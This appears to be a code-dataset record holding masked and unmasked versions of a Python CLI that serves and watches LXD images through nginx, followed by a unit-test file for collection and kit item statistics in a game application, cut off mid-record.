file_okay=False,\n resolve_path=True))\[email protected]_context\ndef update(ctx, img_dir, streams_dir):\n logger.info('Updating server')\n img_dir = Path(img_dir).expanduser().resolve()\n streams_dir = Path(streams_dir).expanduser().resolve()\n images = Images(str(Path(streams_dir).resolve()), rebuild=True, logger=\n logger)\n fake_events = [(None, ['IN_ISDIR', 'IN_CREATE'], str(img_dir.parent),\n str(img_dir.name))]\n operations = Operations(fake_events, str(img_dir))\n images.update(operations.ops)\n images.save()\n logger.info('Server updated')\n\n\[email protected]()\[email protected]('--root_dir', default='/var/www/simplestreams', show_default=True\n )\[email protected]('--ssl_dir', default='/etc/nginx/ssl', show_default=True,\n callback=lambda ctx, param, val: Path(val))\[email protected]('--ssl_skip', default=False, is_flag=True)\[email protected]('--nginx_skip', default=False, is_flag=True)\[email protected]_context\ndef init(ctx, root_dir, ssl_dir, ssl_skip, nginx_skip):\n root_dir = Path(root_dir).expanduser().resolve()\n if not Path(root_dir).exists():\n logger.error('Root directory does not exists')\n else:\n if nginx_skip:\n ssl_skip = True\n if not ssl_skip:\n if not ssl_dir.exists():\n os.makedirs(str(ssl_dir))\n if not (ssl_dir / 'nginx.key').exists():\n generate_cert(str(ssl_dir))\n img_dir = str(Path(root_dir, 'images'))\n streams_dir = str(Path(root_dir, 'streams/v1'))\n if not Path(img_dir).exists():\n os.makedirs(img_dir)\n if not Path(streams_dir).exists():\n os.makedirs(streams_dir)\n if not nginx_skip:\n conf_path = Path('/etc/nginx/sites-enabled/simplestreams.conf')\n if not conf_path.exists():\n conf_path.symlink_to(\n '/etc/nginx/sites-available/simplestreams.conf')\n os.system('nginx -s reload')\n if not Path(root_dir, 'streams', 'v1', 'images.json').exists():\n ctx.invoke(update, img_dir=Path(root_dir, 'images'),\n streams_dir=Path(root_dir, 'streams', 'v1'))\n fix_permissions(img_dir)\n fix_permissions(streams_dir)\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n type=click.Path(exists=True, file_okay=False, resolve_path=True),\n show_default=True)\[email protected]('--skip-watch-config-non-existent', default=False, type=bool,\n is_flag=True)\[email protected]_context\ndef watch(ctx, img_dir, streams_dir, skip_watch_config_non_existent: bool):\n path_img_dir = str(Path(img_dir).expanduser().resolve())\n path_streams_dir = str(Path(streams_dir).expanduser().resolve())\n logger.info('Starting watch process')\n Config.load_data()\n update_config(skip_watch_config_non_existent)\n update_metadata(path_img_dir, path_streams_dir)\n logger.debug('Watching image directory {}'.format(path_img_dir))\n i = inotify.adapters.InotifyTree(path_img_dir, mask=IN_ATTRIB |\n IN_DELETE | IN_MOVED_FROM | IN_MOVED_TO | IN_CLOSE_WRITE)\n while True:\n events = i.event_gen(yield_nones=False, timeout_s=15)\n files_changed = needs_update(events)\n if files_changed:\n event_queue.put(files_changed)\n\n\ndef main():\n try:\n sys.exit(cli())\n except Exception:\n logger.error(traceback.format_exc())\n sys.exit(1)\n\n\n<mask token>\n",
"step-4": "<mask token>\nlogger = logging.getLogger('lxd-image-server')\nevent_queue = queue.Queue()\n\n\ndef threaded(fn):\n\n def wrapper(*args, **kwargs):\n threading.Thread(target=fn, args=args, kwargs=kwargs).start()\n return wrapper\n\n\ndef configure_log(log_file, verbose=False):\n filename = log_file\n if log_file == 'STDOUT':\n handler = logging.StreamHandler(sys.stdout)\n elif log_file == 'STDERR':\n handler = logging.StreamHandler(sys.stderr)\n else:\n handler = TimedRotatingFileHandler(filename, when='d', interval=7,\n backupCount=4)\n formatter = logging.Formatter(\n '[%(asctime)s] [LxdImgServer] [%(levelname)s] %(message)s')\n handler.setFormatter(formatter)\n logger.setLevel('DEBUG' if verbose else 'INFO')\n logger.addHandler(handler)\n\n\ndef needs_update(events):\n modified_files = []\n for event in list(events):\n if re.match('\\\\d{8}_\\\\d{2}:\\\\d{2}', event[3]) or any(k in event[1] for\n k in ('IN_MOVED_FROM', 'IN_MOVED_TO', 'IN_DELETE',\n 'IN_CLOSE_WRITE')):\n logger.debug('Event: PATH=[{}] FILENAME=[{}] EVENT_TYPES={}'.\n format(event[2], event[3], event[1]))\n modified_files.append(event)\n return modified_files\n\n\ndef config_inotify_setup(skipWatchingNonExistent: bool\n ) ->inotify.adapters.Inotify:\n i = inotify.adapters.Inotify()\n watchedDirs = {}\n for p in Config.paths:\n if os.path.exists(p):\n if os.path.isfile(p):\n logger.debug('Watching existing config file {}'.format(p))\n i.add_watch(p, mask=inotify.constants.IN_CLOSE_WRITE |\n inotify.constants.IN_DELETE)\n else:\n logger.debug('Watching existing config directory {}'.format(p))\n i.add_watch(p)\n elif not skipWatchingNonExistent:\n d, n = os.path.split(p)\n while not os.path.exists(d):\n d, n = os.path.split(d)\n if d not in watchedDirs:\n i.add_watch(d, inotify.constants.IN_DELETE | inotify.\n constants.IN_CLOSE_WRITE | inotify.constants.IN_CREATE)\n logger.debug('Watching directory {} as base for {}'.format(\n d, p))\n watchedDirs[d] = True\n return i\n\n\n@threaded\ndef update_config(skipWatchingNonExistent=True):\n i = config_inotify_setup(skipWatchingNonExistent)\n while True:\n reload = False\n for event in i.event_gen(yield_nones=False):\n _, mask, dir, file = event\n fp = os.path.join(dir, file).rstrip(os.path.sep)\n for p in Config.paths:\n if p == fp or dir == p:\n reload = True\n break\n if reload:\n break\n if reload:\n logger.debug('Will reload configuration')\n Config.reload_data()\n i = config_inotify_setup()\n MirrorManager.update_mirror_list()\n else:\n logger.debug('No need to reload configuration')\n\n\n@threaded\ndef update_metadata(img_dir, streams_dir):\n MirrorManager.img_dir = img_dir\n MirrorManager.update_mirror_list()\n while True:\n events = event_queue.get()\n ops = Operations(events, str(Path(img_dir).resolve()))\n if ops:\n logger.info('Updating server: %s', ','.join(str(x) for x in ops\n .ops))\n images = Images(str(Path(streams_dir).resolve()), logger=logger)\n images.update(ops.ops)\n images.save()\n MirrorManager.update()\n logger.info('Server updated')\n\n\ndef fix_permissions(path):\n Path(path).chmod(509)\n for root, dirs, files in os.walk(path):\n for elem in files:\n Path(root, elem).chmod(509)\n for elem in dirs:\n Path(root, elem).chmod(509)\n\n\[email protected]()\[email protected]('--log-file', default='./lxd-image-server.log', show_default=True\n )\[email protected]('--verbose', help='Sets log level to debug', is_flag=True,\n default=False)\ndef cli(log_file, verbose):\n configure_log(log_file, verbose)\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True), callback=lambda ctx, param, val: Path(val))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True))\[email protected]_context\ndef update(ctx, img_dir, streams_dir):\n logger.info('Updating server')\n img_dir = Path(img_dir).expanduser().resolve()\n streams_dir = Path(streams_dir).expanduser().resolve()\n images = Images(str(Path(streams_dir).resolve()), rebuild=True, logger=\n logger)\n fake_events = [(None, ['IN_ISDIR', 'IN_CREATE'], str(img_dir.parent),\n str(img_dir.name))]\n operations = Operations(fake_events, str(img_dir))\n images.update(operations.ops)\n images.save()\n logger.info('Server updated')\n\n\[email protected]()\[email protected]('--root_dir', default='/var/www/simplestreams', show_default=True\n )\[email protected]('--ssl_dir', default='/etc/nginx/ssl', show_default=True,\n callback=lambda ctx, param, val: Path(val))\[email protected]('--ssl_skip', default=False, is_flag=True)\[email protected]('--nginx_skip', default=False, is_flag=True)\[email protected]_context\ndef init(ctx, root_dir, ssl_dir, ssl_skip, nginx_skip):\n root_dir = Path(root_dir).expanduser().resolve()\n if not Path(root_dir).exists():\n logger.error('Root directory does not exists')\n else:\n if nginx_skip:\n ssl_skip = True\n if not ssl_skip:\n if not ssl_dir.exists():\n os.makedirs(str(ssl_dir))\n if not (ssl_dir / 'nginx.key').exists():\n generate_cert(str(ssl_dir))\n img_dir = str(Path(root_dir, 'images'))\n streams_dir = str(Path(root_dir, 'streams/v1'))\n if not Path(img_dir).exists():\n os.makedirs(img_dir)\n if not Path(streams_dir).exists():\n os.makedirs(streams_dir)\n if not nginx_skip:\n conf_path = Path('/etc/nginx/sites-enabled/simplestreams.conf')\n if not conf_path.exists():\n conf_path.symlink_to(\n '/etc/nginx/sites-available/simplestreams.conf')\n os.system('nginx -s reload')\n if not Path(root_dir, 'streams', 'v1', 'images.json').exists():\n ctx.invoke(update, img_dir=Path(root_dir, 'images'),\n streams_dir=Path(root_dir, 'streams', 'v1'))\n fix_permissions(img_dir)\n fix_permissions(streams_dir)\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n type=click.Path(exists=True, file_okay=False, resolve_path=True),\n show_default=True)\[email protected]('--skip-watch-config-non-existent', default=False, type=bool,\n is_flag=True)\[email protected]_context\ndef watch(ctx, img_dir, streams_dir, skip_watch_config_non_existent: bool):\n path_img_dir = str(Path(img_dir).expanduser().resolve())\n path_streams_dir = str(Path(streams_dir).expanduser().resolve())\n logger.info('Starting watch process')\n Config.load_data()\n update_config(skip_watch_config_non_existent)\n update_metadata(path_img_dir, path_streams_dir)\n logger.debug('Watching image directory {}'.format(path_img_dir))\n i = inotify.adapters.InotifyTree(path_img_dir, mask=IN_ATTRIB |\n IN_DELETE | IN_MOVED_FROM | IN_MOVED_TO | IN_CLOSE_WRITE)\n while True:\n events = i.event_gen(yield_nones=False, timeout_s=15)\n files_changed = needs_update(events)\n if files_changed:\n event_queue.put(files_changed)\n\n\ndef main():\n try:\n sys.exit(cli())\n except Exception:\n logger.error(traceback.format_exc())\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main()\n",
"step-5": "import os\nimport sys\nimport re\nimport traceback\nimport logging\nimport queue\nimport threading\nfrom logging.handlers import TimedRotatingFileHandler\nfrom pathlib import Path\nimport click\nimport inotify.adapters\nfrom inotify.constants import (IN_ATTRIB, IN_DELETE, IN_MOVED_FROM,\n IN_MOVED_TO, IN_CLOSE_WRITE)\nfrom lxd_image_server.simplestreams.images import Images\nfrom lxd_image_server.tools.cert import generate_cert\nfrom lxd_image_server.tools.operation import Operations\nfrom lxd_image_server.tools.mirror import MirrorManager\nfrom lxd_image_server.tools.config import Config\n\n\nlogger = logging.getLogger('lxd-image-server')\nevent_queue = queue.Queue()\n\ndef threaded(fn):\n def wrapper(*args, **kwargs):\n threading.Thread(target=fn, args=args, kwargs=kwargs).start()\n return wrapper\n\n\ndef configure_log(log_file, verbose=False):\n filename = log_file\n\n if log_file == 'STDOUT':\n handler = logging.StreamHandler(sys.stdout)\n elif log_file == 'STDERR':\n handler = logging.StreamHandler(sys.stderr)\n else:\n handler = TimedRotatingFileHandler(\n filename,\n when=\"d\", interval=7, backupCount=4)\n formatter = logging.Formatter('[%(asctime)s] [LxdImgServer] [%(levelname)s] %(message)s')\n handler.setFormatter(formatter)\n\n logger.setLevel('DEBUG' if verbose else 'INFO')\n logger.addHandler(handler)\n\n\ndef needs_update(events):\n modified_files = []\n for event in list(events):\n if re.match('\\d{8}_\\d{2}:\\d{2}', event[3]) or \\\n any(k in event[1]\n for k in ('IN_MOVED_FROM', 'IN_MOVED_TO',\n 'IN_DELETE', 'IN_CLOSE_WRITE')):\n logger.debug('Event: PATH=[{}] FILENAME=[{}] EVENT_TYPES={}'\n .format(event[2], event[3], event[1]))\n modified_files.append(event)\n\n return modified_files\n\n\n\ndef config_inotify_setup(skipWatchingNonExistent: bool) -> inotify.adapters.Inotify:\n i = inotify.adapters.Inotify()\n watchedDirs = {}\n\n for p in Config.paths:\n if os.path.exists(p):\n if os.path.isfile(p):\n logger.debug(\"Watching existing config file {}\".format(p))\n i.add_watch(p, mask= inotify.constants.IN_CLOSE_WRITE | inotify.constants.IN_DELETE)\n else:\n logger.debug(\"Watching existing config directory {}\".format(p))\n i.add_watch(p) # SEEME: all events?\n elif not skipWatchingNonExistent:\n (d, n) = os.path.split(p)\n while not os.path.exists(d):\n (d, n) = os.path.split(d)\n if d not in watchedDirs:\n i.add_watch(d, inotify.constants.IN_DELETE | inotify.constants.IN_CLOSE_WRITE | inotify.constants.IN_CREATE)\n logger.debug(\"Watching directory {} as base for {}\".format(d, p))\n watchedDirs[d] = True\n\n return i\n\n@threaded\ndef update_config(skipWatchingNonExistent = True):\n i = config_inotify_setup(skipWatchingNonExistent)\n while True:\n reload = False\n for event in i.event_gen(yield_nones=False):\n (_, mask, dir, file) = event\n fp = os.path.join(dir, file).rstrip(os.path.sep)\n for p in Config.paths:\n if p == fp or (dir == p):\n reload = True\n break\n if reload:\n break\n\n if reload:\n logger.debug(\"Will reload configuration\")\n Config.reload_data()\n i = config_inotify_setup()\n MirrorManager.update_mirror_list()\n else:\n logger.debug(\"No need to reload configuration\")\n\n\n@threaded\ndef update_metadata(img_dir, streams_dir):\n MirrorManager.img_dir = img_dir\n MirrorManager.update_mirror_list()\n while True:\n events = event_queue.get()\n ops = Operations(events, str(Path(img_dir).resolve()))\n if ops:\n logger.info('Updating server: %s', ','.join(\n str(x) for x in ops.ops))\n images = Images(str(Path(streams_dir).resolve()), logger=logger)\n images.update(ops.ops)\n images.save()\n MirrorManager.update()\n logger.info('Server updated')\n\n\ndef fix_permissions(path):\n Path(path).chmod(0o775)\n for root, dirs, files in os.walk(path):\n for elem in files:\n Path(root, elem).chmod(0o775)\n for elem in dirs:\n Path(root, elem).chmod(0o775)\n\n\[email protected]()\[email protected]('--log-file', default='./lxd-image-server.log',\n show_default=True)\[email protected]('--verbose', help='Sets log level to debug',\n is_flag=True, default=False)\ndef cli(log_file, verbose):\n configure_log(log_file, verbose)\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True,\n type=click.Path(exists=True, file_okay=False,\n resolve_path=True),\n callback=lambda ctx, param, val: Path(val))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n show_default=True,\n type=click.Path(exists=True, file_okay=False,\n resolve_path=True))\[email protected]_context\ndef update(ctx, img_dir, streams_dir):\n logger.info('Updating server')\n\n img_dir = Path(img_dir).expanduser().resolve()\n streams_dir = Path(streams_dir).expanduser().resolve()\n\n images = Images(str(Path(streams_dir).resolve()), rebuild=True, logger=logger)\n\n # Generate a fake event to update all tree\n fake_events = [\n (None, ['IN_ISDIR', 'IN_CREATE'],\n str(img_dir.parent), str(img_dir.name))\n ]\n operations = Operations(fake_events, str(img_dir))\n images.update(operations.ops)\n images.save()\n\n logger.info('Server updated')\n\n\[email protected]()\[email protected]('--root_dir', default='/var/www/simplestreams',\n show_default=True)\[email protected]('--ssl_dir', default='/etc/nginx/ssl', show_default=True,\n callback=lambda ctx, param, val: Path(val))\[email protected]('--ssl_skip', default=False, is_flag=True)\[email protected]('--nginx_skip', default=False, is_flag=True)\[email protected]_context\ndef init(ctx, root_dir, ssl_dir, ssl_skip, nginx_skip):\n root_dir = Path(root_dir).expanduser().resolve()\n\n if not Path(root_dir).exists():\n logger.error('Root directory does not exists')\n else:\n if nginx_skip:\n ssl_skip = True\n\n if not ssl_skip:\n if not ssl_dir.exists():\n os.makedirs(str(ssl_dir))\n\n if not (ssl_dir / 'nginx.key').exists():\n generate_cert(str(ssl_dir))\n\n img_dir = str(Path(root_dir, 'images'))\n streams_dir = str(Path(root_dir, 'streams/v1'))\n if not Path(img_dir).exists():\n os.makedirs(img_dir)\n if not Path(streams_dir).exists():\n os.makedirs(streams_dir)\n\n if not nginx_skip:\n conf_path = Path('/etc/nginx/sites-enabled/simplestreams.conf')\n if not conf_path.exists():\n conf_path.symlink_to(\n '/etc/nginx/sites-available/simplestreams.conf')\n os.system('nginx -s reload')\n\n if not Path(root_dir, 'streams', 'v1', 'images.json').exists():\n ctx.invoke(update, img_dir=Path(root_dir, 'images'),\n streams_dir=Path(root_dir, 'streams', 'v1'))\n\n fix_permissions(img_dir)\n fix_permissions(streams_dir)\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True,\n type=click.Path(exists=True, file_okay=False,\n resolve_path=True))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n type=click.Path(exists=True, file_okay=False,\n resolve_path=True), show_default=True)\[email protected]('--skip-watch-config-non-existent', default=False, type=bool, is_flag=True)\[email protected]_context\ndef watch(ctx, img_dir, streams_dir, skip_watch_config_non_existent: bool):\n path_img_dir = str(Path(img_dir).expanduser().resolve())\n path_streams_dir = str(Path(streams_dir).expanduser().resolve())\n logger.info(\"Starting watch process\")\n\n Config.load_data()\n # Lauch threads\n # SEEME: in case an event will come from watching config files, there is a race condition between update_config\n # thread using indirectly MirrorManager.img_dir and thread update_metadata setting MirrorManager.img_dir\n # Also, race condition on calling MirrorManager.update_mirror_list() in both threads.\n update_config(skip_watch_config_non_existent)\n update_metadata(path_img_dir, path_streams_dir)\n logger.debug(\"Watching image directory {}\".format(path_img_dir))\n\n i = inotify.adapters.InotifyTree(path_img_dir,\n mask=(IN_ATTRIB | IN_DELETE |\n IN_MOVED_FROM | IN_MOVED_TO |\n IN_CLOSE_WRITE))\n\n while True:\n events = i.event_gen(yield_nones=False, timeout_s=15)\n files_changed = needs_update(events)\n if files_changed:\n event_queue.put(files_changed)\n\n\ndef main():\n try:\n sys.exit(cli())\n except Exception:\n logger.error(traceback.format_exc())\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main()\n",
"step-ids": [
7,
11,
12,
14,
16
]
}
|
[
7,
11,
12,
14,
16
] |
import smart_imports
smart_imports.all()
class LogicTests(utils_testcase.TestCase):
def setUp(self):
super(LogicTests, self).setUp()
game_logic.create_test_map()
self.account_1 = self.accounts_factory.create_account()
self.account_1_items = prototypes.AccountItemsPrototype.get_by_account_id(self.account_1.id)
self.collection_1 = prototypes.CollectionPrototype.create(caption='collection_1', description='description_1')
self.collection_2 = prototypes.CollectionPrototype.create(caption='collection_2', description='description_2', approved=True)
self.kit_1 = prototypes.KitPrototype.create(collection=self.collection_1, caption='kit_1', description='description_1')
self.kit_2 = prototypes.KitPrototype.create(collection=self.collection_2, caption='kit_2', description='description_2', approved=True)
self.kit_3 = prototypes.KitPrototype.create(collection=self.collection_2, caption='kit_3', description='description_3', approved=True)
self.item_1_1 = prototypes.ItemPrototype.create(kit=self.kit_1, caption='item_1_1', text='text_1_1', approved=False)
self.item_1_2 = prototypes.ItemPrototype.create(kit=self.kit_1, caption='item_1_2', text='text_1_2', approved=True)
self.item_2_1 = prototypes.ItemPrototype.create(kit=self.kit_2, caption='item_2_1', text='text_2_1', approved=True)
self.item_2_2 = prototypes.ItemPrototype.create(kit=self.kit_2, caption='item_2_2', text='text_2_2', approved=False)
self.item_3_1 = prototypes.ItemPrototype.create(kit=self.kit_3, caption='item_3_1', text='text_3_1', approved=True)
def test_get_items_count(self):
self.assertEqual(logic.get_items_count(prototypes.ItemPrototype._db_all()),
(collections.Counter({self.kit_2.id: 1, self.kit_3.id: 1}), {self.collection_2.id: 2}))
def test_get_items_count__with_account(self):
self.account_1_items.add_item(self.item_3_1)
self.account_1_items.save()
self.assertEqual(logic.get_items_count(prototypes.ItemPrototype._db_filter(id__in=self.account_1_items.items_ids())),
(collections.Counter({self.kit_3.id: 1}), {self.collection_2.id: 1}))
def test_get_collections_statistics__no_account(self):
self.assertEqual(logic.get_collections_statistics(None),
{'total_items_in_collections': {self.collection_2.id: 2},
'total_items_in_kits': collections.Counter({self.kit_2.id: 1, self.kit_3.id: 1}),
'account_items_in_collections': {},
'account_items_in_kits': {},
'total_items': 2,
'account_items': 0})
def test_get_collections_statistics__with_account(self):
self.account_1_items.add_item(self.item_3_1)
self.account_1_items.save()
self.assertEqual(logic.get_collections_statistics(self.account_1_items),
{'total_items_in_collections': {self.collection_2.id: 2},
'total_items_in_kits': collections.Counter({self.kit_2.id: 1, self.kit_3.id: 1}),
'account_items_in_collections': {self.collection_2.id: 1},
'account_items_in_kits': collections.Counter({self.kit_3.id: 1}),
'total_items': 2,
'account_items': 1})
|
normal
|
{
"blob_id": "89e5e82c073f7f87c00fc844c861c6c5cbe6a695",
"index": 8893,
"step-1": "<mask token>\n\n\nclass LogicTests(utils_testcase.TestCase):\n\n def setUp(self):\n super(LogicTests, self).setUp()\n game_logic.create_test_map()\n self.account_1 = self.accounts_factory.create_account()\n self.account_1_items = (prototypes.AccountItemsPrototype.\n get_by_account_id(self.account_1.id))\n self.collection_1 = prototypes.CollectionPrototype.create(caption=\n 'collection_1', description='description_1')\n self.collection_2 = prototypes.CollectionPrototype.create(caption=\n 'collection_2', description='description_2', approved=True)\n self.kit_1 = prototypes.KitPrototype.create(collection=self.\n collection_1, caption='kit_1', description='description_1')\n self.kit_2 = prototypes.KitPrototype.create(collection=self.\n collection_2, caption='kit_2', description='description_2',\n approved=True)\n self.kit_3 = prototypes.KitPrototype.create(collection=self.\n collection_2, caption='kit_3', description='description_3',\n approved=True)\n self.item_1_1 = prototypes.ItemPrototype.create(kit=self.kit_1,\n caption='item_1_1', text='text_1_1', approved=False)\n self.item_1_2 = prototypes.ItemPrototype.create(kit=self.kit_1,\n caption='item_1_2', text='text_1_2', approved=True)\n self.item_2_1 = prototypes.ItemPrototype.create(kit=self.kit_2,\n caption='item_2_1', text='text_2_1', approved=True)\n self.item_2_2 = prototypes.ItemPrototype.create(kit=self.kit_2,\n caption='item_2_2', text='text_2_2', approved=False)\n self.item_3_1 = prototypes.ItemPrototype.create(kit=self.kit_3,\n caption='item_3_1', text='text_3_1', approved=True)\n <mask token>\n\n def test_get_items_count__with_account(self):\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n self.assertEqual(logic.get_items_count(prototypes.ItemPrototype.\n _db_filter(id__in=self.account_1_items.items_ids())), (\n collections.Counter({self.kit_3.id: 1}), {self.collection_2.id: 1})\n )\n\n def test_get_collections_statistics__no_account(self):\n self.assertEqual(logic.get_collections_statistics(None), {\n 'total_items_in_collections': {self.collection_2.id: 2},\n 'total_items_in_kits': collections.Counter({self.kit_2.id: 1,\n self.kit_3.id: 1}), 'account_items_in_collections': {},\n 'account_items_in_kits': {}, 'total_items': 2, 'account_items': 0})\n\n def test_get_collections_statistics__with_account(self):\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n self.assertEqual(logic.get_collections_statistics(self.\n account_1_items), {'total_items_in_collections': {self.\n collection_2.id: 2}, 'total_items_in_kits': collections.Counter\n ({self.kit_2.id: 1, self.kit_3.id: 1}),\n 'account_items_in_collections': {self.collection_2.id: 1},\n 'account_items_in_kits': collections.Counter({self.kit_3.id: 1}\n ), 'total_items': 2, 'account_items': 1})\n",
"step-2": "<mask token>\n\n\nclass LogicTests(utils_testcase.TestCase):\n\n def setUp(self):\n super(LogicTests, self).setUp()\n game_logic.create_test_map()\n self.account_1 = self.accounts_factory.create_account()\n self.account_1_items = (prototypes.AccountItemsPrototype.\n get_by_account_id(self.account_1.id))\n self.collection_1 = prototypes.CollectionPrototype.create(caption=\n 'collection_1', description='description_1')\n self.collection_2 = prototypes.CollectionPrototype.create(caption=\n 'collection_2', description='description_2', approved=True)\n self.kit_1 = prototypes.KitPrototype.create(collection=self.\n collection_1, caption='kit_1', description='description_1')\n self.kit_2 = prototypes.KitPrototype.create(collection=self.\n collection_2, caption='kit_2', description='description_2',\n approved=True)\n self.kit_3 = prototypes.KitPrototype.create(collection=self.\n collection_2, caption='kit_3', description='description_3',\n approved=True)\n self.item_1_1 = prototypes.ItemPrototype.create(kit=self.kit_1,\n caption='item_1_1', text='text_1_1', approved=False)\n self.item_1_2 = prototypes.ItemPrototype.create(kit=self.kit_1,\n caption='item_1_2', text='text_1_2', approved=True)\n self.item_2_1 = prototypes.ItemPrototype.create(kit=self.kit_2,\n caption='item_2_1', text='text_2_1', approved=True)\n self.item_2_2 = prototypes.ItemPrototype.create(kit=self.kit_2,\n caption='item_2_2', text='text_2_2', approved=False)\n self.item_3_1 = prototypes.ItemPrototype.create(kit=self.kit_3,\n caption='item_3_1', text='text_3_1', approved=True)\n\n def test_get_items_count(self):\n self.assertEqual(logic.get_items_count(prototypes.ItemPrototype.\n _db_all()), (collections.Counter({self.kit_2.id: 1, self.kit_3.\n id: 1}), {self.collection_2.id: 2}))\n\n def test_get_items_count__with_account(self):\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n self.assertEqual(logic.get_items_count(prototypes.ItemPrototype.\n _db_filter(id__in=self.account_1_items.items_ids())), (\n collections.Counter({self.kit_3.id: 1}), {self.collection_2.id: 1})\n )\n\n def test_get_collections_statistics__no_account(self):\n self.assertEqual(logic.get_collections_statistics(None), {\n 'total_items_in_collections': {self.collection_2.id: 2},\n 'total_items_in_kits': collections.Counter({self.kit_2.id: 1,\n self.kit_3.id: 1}), 'account_items_in_collections': {},\n 'account_items_in_kits': {}, 'total_items': 2, 'account_items': 0})\n\n def test_get_collections_statistics__with_account(self):\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n self.assertEqual(logic.get_collections_statistics(self.\n account_1_items), {'total_items_in_collections': {self.\n collection_2.id: 2}, 'total_items_in_kits': collections.Counter\n ({self.kit_2.id: 1, self.kit_3.id: 1}),\n 'account_items_in_collections': {self.collection_2.id: 1},\n 'account_items_in_kits': collections.Counter({self.kit_3.id: 1}\n ), 'total_items': 2, 'account_items': 1})\n",
"step-3": "<mask token>\nsmart_imports.all()\n\n\nclass LogicTests(utils_testcase.TestCase):\n\n def setUp(self):\n super(LogicTests, self).setUp()\n game_logic.create_test_map()\n self.account_1 = self.accounts_factory.create_account()\n self.account_1_items = (prototypes.AccountItemsPrototype.\n get_by_account_id(self.account_1.id))\n self.collection_1 = prototypes.CollectionPrototype.create(caption=\n 'collection_1', description='description_1')\n self.collection_2 = prototypes.CollectionPrototype.create(caption=\n 'collection_2', description='description_2', approved=True)\n self.kit_1 = prototypes.KitPrototype.create(collection=self.\n collection_1, caption='kit_1', description='description_1')\n self.kit_2 = prototypes.KitPrototype.create(collection=self.\n collection_2, caption='kit_2', description='description_2',\n approved=True)\n self.kit_3 = prototypes.KitPrototype.create(collection=self.\n collection_2, caption='kit_3', description='description_3',\n approved=True)\n self.item_1_1 = prototypes.ItemPrototype.create(kit=self.kit_1,\n caption='item_1_1', text='text_1_1', approved=False)\n self.item_1_2 = prototypes.ItemPrototype.create(kit=self.kit_1,\n caption='item_1_2', text='text_1_2', approved=True)\n self.item_2_1 = prototypes.ItemPrototype.create(kit=self.kit_2,\n caption='item_2_1', text='text_2_1', approved=True)\n self.item_2_2 = prototypes.ItemPrototype.create(kit=self.kit_2,\n caption='item_2_2', text='text_2_2', approved=False)\n self.item_3_1 = prototypes.ItemPrototype.create(kit=self.kit_3,\n caption='item_3_1', text='text_3_1', approved=True)\n\n def test_get_items_count(self):\n self.assertEqual(logic.get_items_count(prototypes.ItemPrototype.\n _db_all()), (collections.Counter({self.kit_2.id: 1, self.kit_3.\n id: 1}), {self.collection_2.id: 2}))\n\n def test_get_items_count__with_account(self):\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n self.assertEqual(logic.get_items_count(prototypes.ItemPrototype.\n _db_filter(id__in=self.account_1_items.items_ids())), (\n collections.Counter({self.kit_3.id: 1}), {self.collection_2.id: 1})\n )\n\n def test_get_collections_statistics__no_account(self):\n self.assertEqual(logic.get_collections_statistics(None), {\n 'total_items_in_collections': {self.collection_2.id: 2},\n 'total_items_in_kits': collections.Counter({self.kit_2.id: 1,\n self.kit_3.id: 1}), 'account_items_in_collections': {},\n 'account_items_in_kits': {}, 'total_items': 2, 'account_items': 0})\n\n def test_get_collections_statistics__with_account(self):\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n self.assertEqual(logic.get_collections_statistics(self.\n account_1_items), {'total_items_in_collections': {self.\n collection_2.id: 2}, 'total_items_in_kits': collections.Counter\n ({self.kit_2.id: 1, self.kit_3.id: 1}),\n 'account_items_in_collections': {self.collection_2.id: 1},\n 'account_items_in_kits': collections.Counter({self.kit_3.id: 1}\n ), 'total_items': 2, 'account_items': 1})\n",
"step-4": "import smart_imports\nsmart_imports.all()\n\n\nclass LogicTests(utils_testcase.TestCase):\n\n def setUp(self):\n super(LogicTests, self).setUp()\n game_logic.create_test_map()\n self.account_1 = self.accounts_factory.create_account()\n self.account_1_items = (prototypes.AccountItemsPrototype.\n get_by_account_id(self.account_1.id))\n self.collection_1 = prototypes.CollectionPrototype.create(caption=\n 'collection_1', description='description_1')\n self.collection_2 = prototypes.CollectionPrototype.create(caption=\n 'collection_2', description='description_2', approved=True)\n self.kit_1 = prototypes.KitPrototype.create(collection=self.\n collection_1, caption='kit_1', description='description_1')\n self.kit_2 = prototypes.KitPrototype.create(collection=self.\n collection_2, caption='kit_2', description='description_2',\n approved=True)\n self.kit_3 = prototypes.KitPrototype.create(collection=self.\n collection_2, caption='kit_3', description='description_3',\n approved=True)\n self.item_1_1 = prototypes.ItemPrototype.create(kit=self.kit_1,\n caption='item_1_1', text='text_1_1', approved=False)\n self.item_1_2 = prototypes.ItemPrototype.create(kit=self.kit_1,\n caption='item_1_2', text='text_1_2', approved=True)\n self.item_2_1 = prototypes.ItemPrototype.create(kit=self.kit_2,\n caption='item_2_1', text='text_2_1', approved=True)\n self.item_2_2 = prototypes.ItemPrototype.create(kit=self.kit_2,\n caption='item_2_2', text='text_2_2', approved=False)\n self.item_3_1 = prototypes.ItemPrototype.create(kit=self.kit_3,\n caption='item_3_1', text='text_3_1', approved=True)\n\n def test_get_items_count(self):\n self.assertEqual(logic.get_items_count(prototypes.ItemPrototype.\n _db_all()), (collections.Counter({self.kit_2.id: 1, self.kit_3.\n id: 